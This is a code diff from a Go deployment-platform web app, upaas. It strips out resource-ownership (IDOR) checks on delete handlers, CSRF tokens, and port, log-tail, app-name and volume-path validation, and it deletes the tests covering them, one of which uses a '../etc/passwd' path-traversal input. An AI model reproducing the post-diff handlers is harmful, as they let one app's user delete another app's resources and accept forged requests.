go func(ctx context.Context, appToDeploy *models.App) { go func(ctx context.Context, appToDeploy *models.App) {
deployErr := h.deploy.Deploy(ctx, appToDeploy, nil, false) deployErr := h.deploy.Deploy(ctx, appToDeploy, nil)
if deployErr != nil { if deployErr != nil {
h.log.Error( h.log.Error(
"deployment failed", "deployment failed",
@@ -356,56 +315,6 @@ func (h *Handlers) HandleAppDeploy() http.HandlerFunc {
} }
} }
// HandleCancelDeploy cancels an in-progress deployment for an app.
func (h *Handlers) HandleCancelDeploy() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
application, findErr := models.FindApp(request.Context(), h.db, appID)
if findErr != nil || application == nil {
http.NotFound(writer, request)
return
}
cancelled := h.deploy.CancelDeploy(application.ID)
if cancelled {
h.log.Info("deployment cancelled by user", "app", application.Name)
}
http.Redirect(
writer,
request,
"/apps/"+application.ID,
http.StatusSeeOther,
)
}
}
// HandleAppRollback handles rolling back to the previous deployment image.
func (h *Handlers) HandleAppRollback() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
application, findErr := models.FindApp(request.Context(), h.db, appID)
if findErr != nil || application == nil {
http.NotFound(writer, request)
return
}
rollbackErr := h.deploy.Rollback(request.Context(), application)
if rollbackErr != nil {
h.log.Error("rollback failed", "error", rollbackErr, "app", application.Name)
http.Redirect(writer, request, "/apps/"+application.ID, http.StatusSeeOther)
return
}
http.Redirect(writer, request, "/apps/"+application.ID+"?success=rolledback", http.StatusSeeOther)
}
}
// HandleAppDeployments returns the deployments history handler. // HandleAppDeployments returns the deployments history handler.
func (h *Handlers) HandleAppDeployments() http.HandlerFunc { func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
tmpl := templates.GetParsed() tmpl := templates.GetParsed()
@@ -428,36 +337,18 @@ func (h *Handlers) HandleAppDeployments() http.HandlerFunc {
data := h.addGlobals(map[string]any{ data := h.addGlobals(map[string]any{
"App": application, "App": application,
"Deployments": deployments, "Deployments": deployments,
}, request) })
h.renderTemplate(writer, tmpl, "deployments.html", data) err := tmpl.ExecuteTemplate(writer, "deployments.html", data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }
// DefaultLogTail is the default number of log lines to fetch. // defaultLogTail is the default number of log lines to fetch.
const DefaultLogTail = "500" const defaultLogTail = "500"
// maxLogTail is the maximum allowed value for the tail parameter.
const maxLogTail = 500
// SanitizeTail validates and clamps the tail query parameter.
// It returns a numeric string clamped to maxLogTail, or the default if invalid.
func SanitizeTail(raw string) string {
if raw == "" {
return DefaultLogTail
}
n, err := strconv.Atoi(raw)
if err != nil || n < 1 {
return DefaultLogTail
}
if n > maxLogTail {
n = maxLogTail
}
return strconv.Itoa(n)
}
// HandleAppLogs returns the container logs handler. // HandleAppLogs returns the container logs handler.
func (h *Handlers) HandleAppLogs() http.HandlerFunc { func (h *Handlers) HandleAppLogs() http.HandlerFunc {
@@ -480,7 +371,10 @@ func (h *Handlers) HandleAppLogs() http.HandlerFunc {
return return
} }
tail := SanitizeTail(request.URL.Query().Get("tail")) tail := request.URL.Query().Get("tail")
if tail == "" {
tail = defaultLogTail
}
logs, logsErr := h.docker.ContainerLogs( logs, logsErr := h.docker.ContainerLogs(
request.Context(), request.Context(),
@@ -907,7 +801,7 @@ func (h *Handlers) HandleEnvVarDelete() http.HandlerFunc {
} }
envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID) envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
if findErr != nil || envVar == nil || envVar.AppID != appID { if findErr != nil || envVar == nil {
http.NotFound(writer, request) http.NotFound(writer, request)
return return
@@ -954,7 +848,7 @@ func (h *Handlers) HandleLabelDelete() http.HandlerFunc {
} }
label, findErr := models.FindLabel(request.Context(), h.db, labelID) label, findErr := models.FindLabel(request.Context(), h.db, labelID)
if findErr != nil || label == nil || label.AppID != appID { if findErr != nil || label == nil {
http.NotFound(writer, request) http.NotFound(writer, request)
return return
@@ -1032,7 +926,7 @@ func (h *Handlers) HandleVolumeDelete() http.HandlerFunc {
} }
volume, findErr := models.FindVolume(request.Context(), h.db, volumeID) volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
if findErr != nil || volume == nil || volume.AppID != appID { if findErr != nil || volume == nil {
http.NotFound(writer, request) http.NotFound(writer, request)
return return
@@ -1101,12 +995,7 @@ func parsePortValues(hostPortStr, containerPortStr string) (int, int, bool) {
hostPort, hostErr := strconv.Atoi(hostPortStr) hostPort, hostErr := strconv.Atoi(hostPortStr)
containerPort, containerErr := strconv.Atoi(containerPortStr) containerPort, containerErr := strconv.Atoi(containerPortStr)
const maxPort = 65535 if hostErr != nil || containerErr != nil || hostPort <= 0 || containerPort <= 0 {
invalid := hostErr != nil || containerErr != nil ||
hostPort <= 0 || containerPort <= 0 ||
hostPort > maxPort || containerPort > maxPort
if invalid {
return 0, 0, false return 0, 0, false
} }
@@ -1127,7 +1016,7 @@ func (h *Handlers) HandlePortDelete() http.HandlerFunc {
} }
port, findErr := models.FindPort(request.Context(), h.db, portID) port, findErr := models.FindPort(request.Context(), h.db, portID)
if findErr != nil || port == nil || port.AppID != appID { if findErr != nil || port == nil {
http.NotFound(writer, request) http.NotFound(writer, request)
return return
@@ -1142,207 +1031,6 @@ func (h *Handlers) HandlePortDelete() http.HandlerFunc {
} }
} }
// ErrVolumePathEmpty is returned when a volume path is empty.
var ErrVolumePathEmpty = errors.New("path must not be empty")
// ErrVolumePathNotAbsolute is returned when a volume path is not absolute.
var ErrVolumePathNotAbsolute = errors.New("path must be absolute")
// ErrVolumePathNotClean is returned when a volume path is not clean.
var ErrVolumePathNotClean = errors.New("path must be clean")
// ValidateVolumePath checks that a path is absolute and clean.
func ValidateVolumePath(p string) error {
if p == "" {
return ErrVolumePathEmpty
}
if !filepath.IsAbs(p) {
return ErrVolumePathNotAbsolute
}
cleaned := filepath.Clean(p)
if cleaned != p {
return fmt.Errorf("%w (expected %q)", ErrVolumePathNotClean, cleaned)
}
return nil
}
// HandleEnvVarEdit handles editing an existing environment variable.
func (h *Handlers) HandleEnvVarEdit() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
envVarIDStr := chi.URLParam(request, "varID")
envVarID, parseErr := strconv.ParseInt(envVarIDStr, 10, 64)
if parseErr != nil {
http.NotFound(writer, request)
return
}
envVar, findErr := models.FindEnvVar(request.Context(), h.db, envVarID)
if findErr != nil || envVar == nil || envVar.AppID != appID {
http.NotFound(writer, request)
return
}
formErr := request.ParseForm()
if formErr != nil {
http.Error(writer, "Bad Request", http.StatusBadRequest)
return
}
key := request.FormValue("key")
value := request.FormValue("value")
if key == "" || value == "" {
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
return
}
envVar.Key = key
envVar.Value = value
saveErr := envVar.Save(request.Context())
if saveErr != nil {
h.log.Error("failed to update env var", "error", saveErr)
}
http.Redirect(
writer,
request,
"/apps/"+appID+"?success=env-updated",
http.StatusSeeOther,
)
}
}
// HandleLabelEdit handles editing an existing label.
func (h *Handlers) HandleLabelEdit() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
labelIDStr := chi.URLParam(request, "labelID")
labelID, parseErr := strconv.ParseInt(labelIDStr, 10, 64)
if parseErr != nil {
http.NotFound(writer, request)
return
}
label, findErr := models.FindLabel(request.Context(), h.db, labelID)
if findErr != nil || label == nil || label.AppID != appID {
http.NotFound(writer, request)
return
}
formErr := request.ParseForm()
if formErr != nil {
http.Error(writer, "Bad Request", http.StatusBadRequest)
return
}
key := request.FormValue("key")
value := request.FormValue("value")
if key == "" || value == "" {
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
return
}
label.Key = key
label.Value = value
saveErr := label.Save(request.Context())
if saveErr != nil {
h.log.Error("failed to update label", "error", saveErr)
}
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
}
}
// HandleVolumeEdit handles editing an existing volume mount.
func (h *Handlers) HandleVolumeEdit() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
volumeIDStr := chi.URLParam(request, "volumeID")
volumeID, parseErr := strconv.ParseInt(volumeIDStr, 10, 64)
if parseErr != nil {
http.NotFound(writer, request)
return
}
volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
if findErr != nil || volume == nil || volume.AppID != appID {
http.NotFound(writer, request)
return
}
formErr := request.ParseForm()
if formErr != nil {
http.Error(writer, "Bad Request", http.StatusBadRequest)
return
}
hostPath := request.FormValue("host_path")
containerPath := request.FormValue("container_path")
readOnly := request.FormValue("readonly") == "1"
if hostPath == "" || containerPath == "" {
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
return
}
pathErr := validateVolumePaths(hostPath, containerPath)
if pathErr != nil {
h.log.Error("invalid volume path", "error", pathErr)
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
return
}
volume.HostPath = hostPath
volume.ContainerPath = containerPath
volume.ReadOnly = readOnly
saveErr := volume.Save(request.Context())
if saveErr != nil {
h.log.Error("failed to update volume", "error", saveErr)
}
http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
}
}
// validateVolumePaths validates both host and container paths for a volume.
func validateVolumePaths(hostPath, containerPath string) error {
hostErr := ValidateVolumePath(hostPath)
if hostErr != nil {
return fmt.Errorf("host path: %w", hostErr)
}
containerErr := ValidateVolumePath(containerPath)
if containerErr != nil {
return fmt.Errorf("container path: %w", containerErr)
}
return nil
}
// formatDeployKey formats an SSH public key with a descriptive comment. // formatDeployKey formats an SSH public key with a descriptive comment.
// Format: ssh-ed25519 AAAA... upaas_2025-01-15_myapp // Format: ssh-ed25519 AAAA... upaas_2025-01-15_myapp
func formatDeployKey(pubKey string, createdAt time.Time, appName string) string { func formatDeployKey(pubKey string, createdAt time.Time, appName string) string {

View File

@@ -1,44 +0,0 @@
package handlers
import (
"errors"
"regexp"
"strconv"
)
const (
// appNameMinLength is the minimum allowed length for an app name.
appNameMinLength = 2
// appNameMaxLength is the maximum allowed length for an app name.
appNameMaxLength = 63
)
// validAppNameRe matches names containing only lowercase alphanumeric characters and
// hyphens, starting and ending with an alphanumeric character.
var validAppNameRe = regexp.MustCompile(`^[a-z0-9][a-z0-9-]*[a-z0-9]$`)
// validateAppName checks that the given app name is safe for use in Docker
// container names, image tags, and file system paths.
var (
errAppNameLength = errors.New(
"app name must be between " +
strconv.Itoa(appNameMinLength) + " and " +
strconv.Itoa(appNameMaxLength) + " characters",
)
errAppNamePattern = errors.New(
"app name must contain only lowercase letters, numbers, " +
"and hyphens, and must start and end with a letter or number",
)
)
func validateAppName(name string) error {
if len(name) < appNameMinLength || len(name) > appNameMaxLength {
return errAppNameLength
}
if !validAppNameRe.MatchString(name) {
return errAppNamePattern
}
return nil
}

View File

@@ -1,48 +0,0 @@
package handlers //nolint:testpackage // testing unexported validateAppName
import (
"testing"
)
func TestValidateAppName(t *testing.T) {
t.Parallel()
tests := []struct {
name string
input string
wantErr bool
}{
{"valid simple", "myapp", false},
{"valid with hyphen", "my-app", false},
{"valid with numbers", "app123", false},
{"valid two chars", "ab", false},
{"valid complex", "my-cool-app-v2", false},
{"valid all numbers", "123", false},
{"empty", "", true},
{"single char", "a", true},
{"too long", "a" + string(make([]byte, 63)), true},
{"exactly 63 chars", "a23456789012345678901234567890123456789012345678901234567890123", false},
{"64 chars", "a234567890123456789012345678901234567890123456789012345678901234", true},
{"uppercase", "MyApp", true},
{"spaces", "my app", true},
{"starts with hyphen", "-myapp", true},
{"ends with hyphen", "myapp-", true},
{"underscore", "my_app", true},
{"dot", "my.app", true},
{"slash", "my/app", true},
{"path traversal", "../etc/passwd", true},
{"special chars", "app@name!", true},
{"unicode", "appñame", true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
err := validateAppName(tt.input)
if (err != nil) != tt.wantErr {
t.Errorf("validateAppName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
}
})
}
}

View File

@@ -10,10 +10,14 @@ import (
func (h *Handlers) HandleLoginGET() http.HandlerFunc { func (h *Handlers) HandleLoginGET() http.HandlerFunc {
tmpl := templates.GetParsed() tmpl := templates.GetParsed()
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, _ *http.Request) {
data := h.addGlobals(map[string]any{}, request) data := h.addGlobals(map[string]any{})
h.renderTemplate(writer, tmpl, "login.html", data) err := tmpl.ExecuteTemplate(writer, "login.html", data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }
@@ -34,11 +38,11 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
data := h.addGlobals(map[string]any{ data := h.addGlobals(map[string]any{
"Username": username, "Username": username,
}, request) })
if username == "" || password == "" { if username == "" || password == "" {
data["Error"] = "Username and password are required" data["Error"] = "Username and password are required"
h.renderTemplate(writer, tmpl, "login.html", data) _ = tmpl.ExecuteTemplate(writer, "login.html", data)
return return
} }
@@ -46,7 +50,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
user, authErr := h.auth.Authenticate(request.Context(), username, password) user, authErr := h.auth.Authenticate(request.Context(), username, password)
if authErr != nil { if authErr != nil {
data["Error"] = "Invalid username or password" data["Error"] = "Invalid username or password"
h.renderTemplate(writer, tmpl, "login.html", data) _ = tmpl.ExecuteTemplate(writer, "login.html", data)
return return
} }
@@ -56,7 +60,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
h.log.Error("failed to create session", "error", sessionErr) h.log.Error("failed to create session", "error", sessionErr)
data["Error"] = "Failed to create session" data["Error"] = "Failed to create session"
h.renderTemplate(writer, tmpl, "login.html", data) _ = tmpl.ExecuteTemplate(writer, "login.html", data)
return return
} }

View File

@@ -67,8 +67,12 @@ func (h *Handlers) HandleDashboard() http.HandlerFunc {
data := h.addGlobals(map[string]any{ data := h.addGlobals(map[string]any{
"AppStats": appStats, "AppStats": appStats,
}, request) })
h.renderTemplate(writer, tmpl, "dashboard.html", data) execErr := tmpl.ExecuteTemplate(writer, "dashboard.html", data)
if execErr != nil {
h.log.Error("template execution failed", "error", execErr)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }

View File

@@ -2,12 +2,10 @@
package handlers package handlers
import ( import (
"bytes"
"encoding/json" "encoding/json"
"log/slog" "log/slog"
"net/http" "net/http"
"github.com/gorilla/csrf"
"go.uber.org/fx" "go.uber.org/fx"
"git.eeqj.de/sneak/upaas/internal/database" "git.eeqj.de/sneak/upaas/internal/database"
@@ -19,7 +17,6 @@ import (
"git.eeqj.de/sneak/upaas/internal/service/auth" "git.eeqj.de/sneak/upaas/internal/service/auth"
"git.eeqj.de/sneak/upaas/internal/service/deploy" "git.eeqj.de/sneak/upaas/internal/service/deploy"
"git.eeqj.de/sneak/upaas/internal/service/webhook" "git.eeqj.de/sneak/upaas/internal/service/webhook"
"git.eeqj.de/sneak/upaas/templates"
) )
// Params contains dependencies for Handlers. // Params contains dependencies for Handlers.
@@ -67,43 +64,14 @@ func New(_ fx.Lifecycle, params Params) (*Handlers, error) {
}, nil }, nil
} }
// addGlobals adds version info and CSRF token to template data map. // addGlobals adds version info to template data map.
func (h *Handlers) addGlobals( func (h *Handlers) addGlobals(data map[string]any) map[string]any {
data map[string]any,
request *http.Request,
) map[string]any {
data["Version"] = h.globals.Version data["Version"] = h.globals.Version
data["Appname"] = h.globals.Appname data["Appname"] = h.globals.Appname
if request != nil {
data["CSRFField"] = csrf.TemplateField(request)
}
return data return data
} }
// renderTemplate executes the named template into a buffer first, then writes
// to the ResponseWriter only on success. This prevents partial/corrupt HTML
// responses when template execution fails partway through.
func (h *Handlers) renderTemplate(
writer http.ResponseWriter,
tmpl *templates.TemplateExecutor,
name string,
data any,
) {
var buf bytes.Buffer
err := tmpl.ExecuteTemplate(&buf, name, data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
return
}
_, _ = buf.WriteTo(writer)
}
func (h *Handlers) respondJSON( func (h *Handlers) respondJSON(
writer http.ResponseWriter, writer http.ResponseWriter,
_ *http.Request, _ *http.Request,

View File

@@ -5,7 +5,6 @@ import (
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"net/url" "net/url"
"strconv"
"strings" "strings"
"testing" "testing"
"time" "time"
@@ -15,8 +14,6 @@ import (
"github.com/stretchr/testify/require" "github.com/stretchr/testify/require"
"go.uber.org/fx" "go.uber.org/fx"
"git.eeqj.de/sneak/upaas/internal/models"
"git.eeqj.de/sneak/upaas/internal/config" "git.eeqj.de/sneak/upaas/internal/config"
"git.eeqj.de/sneak/upaas/internal/database" "git.eeqj.de/sneak/upaas/internal/database"
"git.eeqj.de/sneak/upaas/internal/docker" "git.eeqj.de/sneak/upaas/internal/docker"
@@ -24,7 +21,6 @@ import (
"git.eeqj.de/sneak/upaas/internal/handlers" "git.eeqj.de/sneak/upaas/internal/handlers"
"git.eeqj.de/sneak/upaas/internal/healthcheck" "git.eeqj.de/sneak/upaas/internal/healthcheck"
"git.eeqj.de/sneak/upaas/internal/logger" "git.eeqj.de/sneak/upaas/internal/logger"
"git.eeqj.de/sneak/upaas/internal/middleware"
"git.eeqj.de/sneak/upaas/internal/service/app" "git.eeqj.de/sneak/upaas/internal/service/app"
"git.eeqj.de/sneak/upaas/internal/service/auth" "git.eeqj.de/sneak/upaas/internal/service/auth"
"git.eeqj.de/sneak/upaas/internal/service/deploy" "git.eeqj.de/sneak/upaas/internal/service/deploy"
@@ -33,11 +29,10 @@ import (
) )
type testContext struct { type testContext struct {
handlers *handlers.Handlers handlers *handlers.Handlers
database *database.Database database *database.Database
authSvc *auth.Service authSvc *auth.Service
appSvc *app.Service appSvc *app.Service
middleware *middleware.Middleware
} }
func createTestConfig(t *testing.T) *config.Config { func createTestConfig(t *testing.T) *config.Config {
@@ -168,20 +163,11 @@ func setupTestHandlers(t *testing.T) *testContext {
) )
require.NoError(t, handlerErr) require.NoError(t, handlerErr)
mw, mwErr := middleware.New(fx.Lifecycle(nil), middleware.Params{
Logger: logInstance,
Globals: globalInstance,
Config: cfg,
Auth: authSvc,
})
require.NoError(t, mwErr)
return &testContext{ return &testContext{
handlers: handlersInstance, handlers: handlersInstance,
database: dbInstance, database: dbInstance,
authSvc: authSvc, authSvc: authSvc,
appSvc: appSvc, appSvc: appSvc,
middleware: mw,
} }
} }
@@ -440,302 +426,6 @@ func addChiURLParams(
) )
} }
// createTestApp creates an app using the app service and returns it.
func createTestApp(
t *testing.T,
tc *testContext,
name string,
) *models.App {
t.Helper()
createdApp, err := tc.appSvc.CreateApp(
context.Background(),
app.CreateAppInput{
Name: name,
RepoURL: "git@example.com:user/" + name + ".git",
Branch: "main",
},
)
require.NoError(t, err)
return createdApp
}
// TestHandleWebhookRejectsOversizedBody tests that oversized webhook payloads
// are handled gracefully.
func TestHandleWebhookRejectsOversizedBody(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
// Create an app first
createdApp, createErr := testCtx.appSvc.CreateApp(
context.Background(),
app.CreateAppInput{
Name: "oversize-test-app",
RepoURL: "git@example.com:user/repo.git",
Branch: "main",
},
)
require.NoError(t, createErr)
// Create a body larger than 1MB - it should be silently truncated
// and the webhook should still process (or fail gracefully on parse)
largePayload := strings.Repeat("x", 2*1024*1024) // 2MB
request := httptest.NewRequest(
http.MethodPost,
"/webhook/"+createdApp.WebhookSecret,
strings.NewReader(largePayload),
)
request = addChiURLParams(
request,
map[string]string{"secret": createdApp.WebhookSecret},
)
request.Header.Set("Content-Type", "application/json")
request.Header.Set("X-Gitea-Event", "push")
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleWebhook()
handler.ServeHTTP(recorder, request)
// Should still return OK (payload is truncated and fails JSON parse,
// but webhook service handles invalid JSON gracefully)
assert.Equal(t, http.StatusOK, recorder.Code)
}
// ownedResourceTestConfig configures an IDOR ownership verification test.
type ownedResourceTestConfig struct {
appPrefix1 string
appPrefix2 string
createFn func(t *testing.T, tc *testContext, app *models.App) int64
deletePath func(appID string, resourceID int64) string
chiParams func(appID string, resourceID int64) map[string]string
handler func(h *handlers.Handlers) http.HandlerFunc
verifyFn func(t *testing.T, tc *testContext, resourceID int64)
}
func testOwnershipVerification(t *testing.T, cfg ownedResourceTestConfig) {
t.Helper()
testCtx := setupTestHandlers(t)
app1 := createTestApp(t, testCtx, cfg.appPrefix1)
app2 := createTestApp(t, testCtx, cfg.appPrefix2)
resourceID := cfg.createFn(t, testCtx, app1)
request := httptest.NewRequest(
http.MethodPost,
cfg.deletePath(app2.ID, resourceID),
nil,
)
request = addChiURLParams(request, cfg.chiParams(app2.ID, resourceID))
recorder := httptest.NewRecorder()
handler := cfg.handler(testCtx.handlers)
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusNotFound, recorder.Code)
cfg.verifyFn(t, testCtx, resourceID)
}
// TestDeleteEnvVarOwnershipVerification tests that deleting an env var
// via another app's URL path returns 404 (IDOR prevention).
func TestDeleteEnvVarOwnershipVerification(t *testing.T) { //nolint:dupl // intentionally similar IDOR test pattern
t.Parallel()
testOwnershipVerification(t, ownedResourceTestConfig{
appPrefix1: "envvar-owner-app",
appPrefix2: "envvar-other-app",
createFn: func(t *testing.T, tc *testContext, ownerApp *models.App) int64 {
t.Helper()
envVar := models.NewEnvVar(tc.database)
envVar.AppID = ownerApp.ID
envVar.Key = "SECRET"
envVar.Value = "hunter2"
require.NoError(t, envVar.Save(context.Background()))
return envVar.ID
},
deletePath: func(appID string, resourceID int64) string {
return "/apps/" + appID + "/env/" + strconv.FormatInt(resourceID, 10) + "/delete"
},
chiParams: func(appID string, resourceID int64) map[string]string {
return map[string]string{"id": appID, "envID": strconv.FormatInt(resourceID, 10)}
},
handler: func(h *handlers.Handlers) http.HandlerFunc { return h.HandleEnvVarDelete() },
verifyFn: func(t *testing.T, tc *testContext, resourceID int64) {
t.Helper()
found, findErr := models.FindEnvVar(context.Background(), tc.database, resourceID)
require.NoError(t, findErr)
assert.NotNil(t, found, "env var should still exist after IDOR attempt")
},
})
}
// TestDeleteLabelOwnershipVerification tests that deleting a label
// via another app's URL path returns 404 (IDOR prevention).
func TestDeleteLabelOwnershipVerification(t *testing.T) { //nolint:dupl // intentionally similar IDOR test pattern
t.Parallel()
testOwnershipVerification(t, ownedResourceTestConfig{
appPrefix1: "label-owner-app",
appPrefix2: "label-other-app",
createFn: func(t *testing.T, tc *testContext, ownerApp *models.App) int64 {
t.Helper()
lbl := models.NewLabel(tc.database)
lbl.AppID = ownerApp.ID
lbl.Key = "traefik.enable"
lbl.Value = "true"
require.NoError(t, lbl.Save(context.Background()))
return lbl.ID
},
deletePath: func(appID string, resourceID int64) string {
return "/apps/" + appID + "/labels/" + strconv.FormatInt(resourceID, 10) + "/delete"
},
chiParams: func(appID string, resourceID int64) map[string]string {
return map[string]string{"id": appID, "labelID": strconv.FormatInt(resourceID, 10)}
},
handler: func(h *handlers.Handlers) http.HandlerFunc { return h.HandleLabelDelete() },
verifyFn: func(t *testing.T, tc *testContext, resourceID int64) {
t.Helper()
found, findErr := models.FindLabel(context.Background(), tc.database, resourceID)
require.NoError(t, findErr)
assert.NotNil(t, found, "label should still exist after IDOR attempt")
},
})
}
// TestDeleteVolumeOwnershipVerification tests that deleting a volume
// via another app's URL path returns 404 (IDOR prevention).
func TestDeleteVolumeOwnershipVerification(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
app1 := createTestApp(t, testCtx, "volume-owner-app")
app2 := createTestApp(t, testCtx, "volume-other-app")
// Create volume belonging to app1
volume := models.NewVolume(testCtx.database)
volume.AppID = app1.ID
volume.HostPath = "/data/app1"
volume.ContainerPath = "/app/data"
volume.ReadOnly = false
require.NoError(t, volume.Save(context.Background()))
// Try to delete app1's volume using app2's URL path
request := httptest.NewRequest(
http.MethodPost,
"/apps/"+app2.ID+"/volumes/"+strconv.FormatInt(volume.ID, 10)+"/delete",
nil,
)
request = addChiURLParams(request, map[string]string{
"id": app2.ID,
"volumeID": strconv.FormatInt(volume.ID, 10),
})
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleVolumeDelete()
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusNotFound, recorder.Code)
// Verify the volume was NOT deleted
found, err := models.FindVolume(context.Background(), testCtx.database, volume.ID)
require.NoError(t, err)
assert.NotNil(t, found, "volume should still exist after IDOR attempt")
}
// TestDeletePortOwnershipVerification tests that deleting a port
// via another app's URL path returns 404 (IDOR prevention).
func TestDeletePortOwnershipVerification(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
app1 := createTestApp(t, testCtx, "port-owner-app")
app2 := createTestApp(t, testCtx, "port-other-app")
// Create port belonging to app1
port := models.NewPort(testCtx.database)
port.AppID = app1.ID
port.HostPort = 8080
port.ContainerPort = 80
port.Protocol = models.PortProtocolTCP
require.NoError(t, port.Save(context.Background()))
// Try to delete app1's port using app2's URL path
request := httptest.NewRequest(
http.MethodPost,
"/apps/"+app2.ID+"/ports/"+strconv.FormatInt(port.ID, 10)+"/delete",
nil,
)
request = addChiURLParams(request, map[string]string{
"id": app2.ID,
"portID": strconv.FormatInt(port.ID, 10),
})
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandlePortDelete()
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusNotFound, recorder.Code)
// Verify the port was NOT deleted
found, err := models.FindPort(context.Background(), testCtx.database, port.ID)
require.NoError(t, err)
assert.NotNil(t, found, "port should still exist after IDOR attempt")
}
func TestHandleCancelDeployRedirects(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
createdApp := createTestApp(t, testCtx, "cancel-deploy-app")
request := httptest.NewRequest(
http.MethodPost,
"/apps/"+createdApp.ID+"/deployments/cancel",
nil,
)
request = addChiURLParams(request, map[string]string{"id": createdApp.ID})
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleCancelDeploy()
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusSeeOther, recorder.Code)
assert.Equal(t, "/apps/"+createdApp.ID, recorder.Header().Get("Location"))
}
func TestHandleCancelDeployReturns404ForUnknownApp(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
request := httptest.NewRequest(
http.MethodPost,
"/apps/nonexistent/deployments/cancel",
nil,
)
request = addChiURLParams(request, map[string]string{"id": "nonexistent"})
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleCancelDeploy()
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusNotFound, recorder.Code)
}
func TestHandleWebhookReturns404ForUnknownSecret(t *testing.T) { func TestHandleWebhookReturns404ForUnknownSecret(t *testing.T) {
t.Parallel() t.Parallel()

View File

@@ -1,39 +0,0 @@
package handlers //nolint:testpackage // tests unexported parsePortValues function
import "testing"
func TestParsePortValues(t *testing.T) {
t.Parallel()
tests := []struct {
name string
host string
container string
wantHost int
wantCont int
wantValid bool
}{
{"valid ports", "8080", "80", 8080, 80, true},
{"port 1", "1", "1", 1, 1, true},
{"port 65535", "65535", "65535", 65535, 65535, true},
{"host port above 65535", "99999", "80", 0, 0, false},
{"container port above 65535", "80", "99999", 0, 0, false},
{"both ports above 65535", "70000", "70000", 0, 0, false},
{"zero port", "0", "80", 0, 0, false},
{"negative port", "-1", "80", 0, 0, false},
{"non-numeric", "abc", "80", 0, 0, false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
host, cont, valid := parsePortValues(tt.host, tt.container)
if host != tt.wantHost || cont != tt.wantCont || valid != tt.wantValid {
t.Errorf("parsePortValues(%q, %q) = (%d, %d, %v), want (%d, %d, %v)",
tt.host, tt.container, host, cont, valid,
tt.wantHost, tt.wantCont, tt.wantValid)
}
})
}
}

View File

@@ -1,73 +0,0 @@
package handlers_test
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/stretchr/testify/assert"
)
// TestRenderTemplateBuffersOutput verifies that successful template rendering
// produces a complete HTML response (not partial/corrupt).
func TestRenderTemplateBuffersOutput(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
// The setup page is simple and has no DB dependencies
request := httptest.NewRequest(http.MethodGet, "/setup", nil)
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleSetupGET()
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusOK, recorder.Code)
body := recorder.Body.String()
// A properly buffered response should contain the closing </html> tag,
// proving the full template was rendered before being sent.
assert.Contains(t, body, "</html>")
// Should NOT contain the error text that would be appended on failure
assert.NotContains(t, body, "Internal Server Error")
}
// TestDashboardRenderTemplateBuffersOutput verifies the dashboard handler
// also uses buffered template rendering.
func TestDashboardRenderTemplateBuffersOutput(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
request := httptest.NewRequest(http.MethodGet, "/", nil)
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleDashboard()
handler.ServeHTTP(recorder, request)
assert.Equal(t, http.StatusOK, recorder.Code)
body := recorder.Body.String()
assert.Contains(t, body, "</html>")
assert.NotContains(t, body, "Internal Server Error")
}
// TestLoginRenderTemplateBuffersOutput verifies the login handler
// uses buffered template rendering.
func TestLoginRenderTemplateBuffersOutput(t *testing.T) {
t.Parallel()
testCtx := setupTestHandlers(t)
request := httptest.NewRequest(http.MethodGet, "/login", nil)
recorder := httptest.NewRecorder()
handler := testCtx.handlers.HandleLoginGET()
handler.ServeHTTP(recorder, request)
